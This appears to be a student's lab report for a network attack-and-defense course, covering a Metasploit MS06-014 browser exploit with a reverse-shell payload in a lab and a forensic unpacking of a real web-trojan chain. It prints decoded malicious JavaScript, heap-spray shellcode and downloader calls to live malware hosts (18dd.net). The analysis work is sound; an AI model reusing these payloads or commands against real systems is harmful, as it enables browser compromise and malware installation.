20212920 许邵 2021-2022-2 《网络攻防实践》实践十一报告

20212920 许邵 2021-2022-2 《网络攻防实践》实践十一报告

1.实践内容

1.1 任务介绍

1)web浏览器渗透攻击

任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

实验步骤:
①选择使用Metasploit中的MS06-014渗透攻击模块
②选择PAYLOAD为任意远程Shell连接
③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本
④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL
⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令

(2)取证分析实践—网页木马攻击场景分析
实践过程:
①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,
②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值 下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
③如果解密出的地址给出的是网页或脚本文件,请继续解密。
④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
⑤重复以上过程直到这些文件被全部分析完成。

(3)攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

1.2 知识拓展

1.2.1 现代浏览器的基本结构与机理

目前的现代WEB浏览器要求能够理解和支持HTML和XHTML、CSS、ECMAScript以及W3C Document Object Model(DOM)等一系列标准。基本结构如下图:

现代浏览器软件除了在内核引擎内实现符合各种标准的基本功能之外,普遍采用了各种扩展机制允许第三方开发出一些插件。

1.2.2 Web浏览的安全问题与威胁

  • 安全困境三要素:复杂性、可扩展性、连通性。
  • Web浏览安全威胁位置分布有:针对传输网络的网络协议安全威胁、针对Web浏览端系统平台的安全威胁、针对Web浏览器软件以及插件程序的渗透攻击威胁、针对互联网用户的社会工程学攻击威胁。其中,最流行的威胁——网页木马、网站钓鱼属于后两种。

1.2.3 网页木马

网页木马是一种利用浏览器的安全漏洞,挂接在网页上的恶意脚本。本质上是浏览器渗透攻击。
网页木马采用的是客户端渗透攻击的方式,需要web浏览端软件来访问构造的恶意web页面内容,才可能触发渗透攻击过程。因此,网页木马是一种被动攻击,需要通过技术手段诱使互联网用户访问木马页面。
实施网页木马攻击往往会涉及较为复杂的多步骤攻击场景,需要多种类型的恶意代码及网络资源。
网页木马的攻击技术过程如下图所示:

通过上述过程构造的木马具有区别于传统二进制恶意代码的特性:

  • 多样化的客户端渗透攻击位置和技术类型
  • 分布式、复杂的微观链接结构
  • 灵活多变的混淆与对抗分析能力

网页木马的检测与分析

  • 基于特征码匹配的传统检测方法
  • 基于统计与机器学习的静态分析方法
  • 基于动态行为结果判定的检测分析方法
  • 基于模拟浏览器环境的动态分析检测方法

1.2.4 网络钓鱼

网络钓鱼是社会工程学在互联网中广泛实施的一种典型攻击方式,通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引导收信人给出个人敏感信息(如用户名、口令、账号ID、PIN码或信用卡详细信息等)。

网络钓鱼攻击的普遍技术流程:

  • 攻击者扫描网段,寻找存有漏洞的服务器
  • 服务器被攻陷,并被安装一个Rootkit或口令保护的后门工具
  • 攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容
  • 攻击者大规模散发欺骗性信息
  • 访问者进入假冒的钓鱼网站,受到欺骗给出个人敏感信息,攻击者通过后台服务脚本收集敏感信息

对于用户来说,网络钓鱼攻击的防范措施包括:

  • 提高警惕性
  • 充分使用浏览器软件、网络安全厂商提供的反钓鱼网站功能特性
  • 务必重视要访问的网站的真实性,不要点击来路不明的链接
  • 通过学习和修炼提升自己抵抗社会工程学攻击的能力

2.实践过程

2.1 web浏览器渗透攻击

在攻击机上打开metasploit。
1.选择MS06-014为攻击的漏洞。
使用search ms06-014命令搜索ms06-014漏洞模块。

只有一个选项:exploit/windows/browser/ie_createobject,选择它。命令:use windows/browser/ie_createobject
使用命令:set payload windows/meterpreter/reverse_tcp设置负载为windows/meterpreter/reverse_tcp。

2.设定攻击目标
查看靶机的IP地址为192.168.233.124。

使用命令set RHOST 192.168.233.124设置靶机地址。
攻击机的IP地址为192.168.233.4。

设置攻击机地址,命令:set LHOST 192.168.233.4

3.开始渗透攻击
使用命令exploit,开始渗透攻击。

我们看到,服务器使用的URL为:http://192.168.233.4:8080/kuiTSH
在靶机上,用浏览器打开它。

浏览器中出现了一串字符。

返回攻击机,发现会话成功建立。

4.使用会话
输入命令:sessions,查看建立的会话。

使用sessions -i 1,即可进入会话。
在会话中,我们可以运行靶机中的命令。

2.2 网页木马攻击取证分析

提示:本实验要用到的代码均在老师发的《网页挂马分析实践参考》上了
另外,要分析的程序均在《网络攻防技术与实践》附带的光盘中的压缩包《网页挂马分析实践-解压密码virus.zip》中了
大家可以从这个链接中下载:
链接: https://pan.baidu.com/s/15Bk_zST80aw1VUDALGWupA 提取码: twm7
(网盘中的压缩包含有start.html和new09.htm的源代码,解压缩时无需密码)

2.2.1 第一阶段:网页源码分析

我们先搜索start.html中包含new09.htm的位置。


不难看出,new09.htm与start.html是在同一路径下的。
我们再打开new09.htm。

我们可以得到两个地址:http://aa.18dd.net/aa/kl.htmhttp://js.users.51.la/1299644.js
我们进行32位MD5运算。

MD5(http://js.users.51.la/1299644.js,32) = 23180a42a2ff1192150231b44ffdf3d3
MD5(http://aa.18dd.net/aa/kl.htm,32) = 7f60672dcd6b5e90b6772545ee219bd3

按照说明,我们应该下载这两个文件:

http://192.168.68.253/scom/hashed/23180a42a2ff1192150231b44ffdf3d3
http://192.168.68.253/scom/hashed/7f60672dcd6b5e90b6772545ee219bd3  

由于我这里连接不上192.168.68.253这个服务器,这一节中所有的下载操作全部省略了。改成从上文提到的压缩包中的original文件夹下直接提取。

其他文件的下载操作也是如此。

打开第一个文件1299644.js,内容为:

打开第二个文件kl.htm,内容为:

可见,第二个文件是javascript文件,只是加密了。
从这一部分代码中可以看到:这个文件使用了xxtea分组密码算法进行了加密。

t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));

里面提到的变量t就是那个超级长的base64字符串,而\x73\x63\x72\x69\x70\x74应该是密钥。
先对\x73\x63\x72\x69\x70\x74进行十六进制解密(网址:https://tool.lu/hexstr/ ),得到了密钥:script

使用密钥script对那个超长的字符串进行解密,得到明文。

解密后的明文
<script>
eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d")
</script>

再对其进行hexdecode,得到:

解码后的原代码
function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}

分析这些原代码,不难看出:

对上述提到的网页求哈希值

MD5(http://aa.18dd.net/aa/1.js,32) = 5d7e9058a857aa2abee820d5473c5fa4
MD5(http://aa.18dd.net/aa/b.js,32) = 3870c28cc279d457746b3796a262f166
MD5(http://aa.18dd.net/aa/pps.js,32) = 5f0b8bf0385314dbe0e5ec95e6abedc2
MD5(http://down.18dd.net/bb/bd.cab,32) = 1c1d7b3539a617517c49eee4120783b2

然后按照http://192.168.68.253/scom/hashed/**MD5值**的格式下载文件,得到1.js、b.js、pps.js、bd.cab这四个文件。接下来依次对这些文件进行分析。

2.2.2 第二阶段:引出的js文件分析

1.js

包含十六进制字符串,对其进行hexdecode,得

这个文件会下载一个名为014.exe的可执行文件。

b.js

为了解密,我们不妨将前面的eval改成alert,然后用script标签包裹起来,将其改成htm文件,查看返回的字符。

返回的字符
var bigblock=unescape("%u9090%u9090");var headersize=20;var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");var slackspace=headersize+shellcode.length;while(bigblock.length<slackspace)bigblock+=bigblock;fillblock=bigblock.substring(0,slackspace);block=bigblock.substring(0,bigblock.length-slackspace);while(block.length+slackspace<0x40000)block=block+block+fillblock;memory=new Array();for(x=0;x<300;x++)memory[x]=block+shellcode;var buffer='';while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";storm.rawParse(buffer)

出现了全是'%u'的字符串,应该是shellcode。
我们使用脚本工具FreShow对该字符串进行两次解码。

第一次解码得到了十六进制字符串。

在第二次解码得到的结果中出现了下面的字符:

GetProc"+"AddressGetSyste"+"mDirectoryAWinE"+"xecExitThreadL"+"oadLibraryAurlm"+"onURLDownloadTo"+"FileAhttp://down.18dd.net/bb/bf.exe

分析得出,这个文件会从http://down.18dd.net/bb/bf.exe,将一个名叫bf.exe文件下载下来。

pps.js

这个pps.js是一个八进制加密文件。使用FreShow解码三次解码(解码选择ESC模式)。(在第一次解码后,单击“向上”,即可将解码后的结果当做下一次要解码的数据)

第一次解码,得到全是%u的字符串和部分正常显示的字符串,容易得知这是shellcode编码。

可以看到,在第三次解码后的数据中,找到了一条链接:http://down.18dd.net/bb/pps.exe 。该链接会下载pps.exe文件。

bd.cab

bd.cab是一个压缩文件,将该文件进行解压缩,可得到bd.exe文件。

对上述三个链接求MD5值:

MD5(http://down.18dd.net/bb/014.exe,32) = ca4e4a1730b0f69a9b94393d9443b979
MD5(http://down.18dd.net/bb/bf.exe,32) = 268cbd59fbed235f6cf6b41b92b03f8e
MD5(http://down.18dd.net/bb/pps.exe,32) = ff59b3b8961f502289c1b4df8c37e2a4

然后按照http://192.168.68.253/scom/hashed/**MD5值**的格式下载文件,得到014.exe、bf.exe、pps.exe这三个可执行文件。

2.2.3 第三阶段:可执行文件的分析

其实,这些可执行文件可以在上文中提到的压缩包内找到。
根据前人分析,我们得到的这四个exe文件是完全一样的。我们以分析pps.exe为例。
先查看PEiD,发现该程序是用Delphi语言写的。

用IDA进行反编译。

在Strings Window中发现了20个用于下载exe文件的链接。

还有一些其他的软件行为。

尝试将这个程序和下载出来的1~20.exe文件使用杀毒软件进行扫描,杀毒软件报告称:发现了病毒。

他们说:pps.exe是一种Worm/Autorun.r病毒;而1~20.exe这20个程序是病毒HVM:Trojan/MalBehav.gen!B。
查询可知,Worm/Autorun.r是一种蠕虫病毒,HVM:Trojan/MalBehav.gen!B是一种木马病毒。

2.3 Web浏览器渗透攻击攻防

作为攻击方

为了分析攻击脚本,我们重复实践一的过程,将产生的链接发给防御方。

进入会话,运行ipconfig命令,发现该命令获取到了靶机的IP地址。

作为防守方

在靶机上用浏览器打开攻击机给出的链接后,查看恶意页面的源代码。

使用Wireshark抓包也可以得到页面的源代码。

出现了很多的空格,我们再用压缩格式化工具http://www.esjson.com/htmlformat.html 去进行压缩格式化。

在函数nObxCOehUDjALSkcV中,我们看到了这个攻击网页会将可执行文件QHJujypkTRKJGCfkZa.exe安装到靶机上,还使用了"WScript.Shell"和"ADODB.Stream"两个漏洞。

打开靶机的任务管理器,发现确实有QHJujypkTRKJGCfkZa.exe这个进程。估计这就是攻击方用来渗透靶机的病毒程序。

我们结束这个进程,让攻击方在会话中运行ipconfig命令,攻击方发现:命令出错了。

在函数uLdZCTrDBfe()中出现了一串数组。

再往下翻,可知这是漏洞的ID号。比如说:ID为BD96C556-65A3-11D0-983A-00C04FC29E36的漏洞,就属于MS06-014漏洞。

总结:如果我们使用另一个漏洞实现渗透攻击,那么发送的页面的函数结构、植入的攻击程序的原理应该是一样的,唯一不同的只是调用的漏洞接口、参数。如果我们把这几个漏洞调用的接口、参数整合以下,就可以实现混淆攻击。

3.实践总结

在本次实践中,我们对几个典型的木马病毒和钓鱼网站进行了复现,深刻体会到了网络木马和钓鱼网站的危害性。另外本次实验难度较大、复杂性较高,需要我们精心准备、细致规划、耐心操作,还要求我们具有一定程度的HTML、JavaScript等前端语言的掌握能力。

posted @ 2022-05-25 09:23  言午召耳  阅读(508)  评论(0编辑  收藏  举报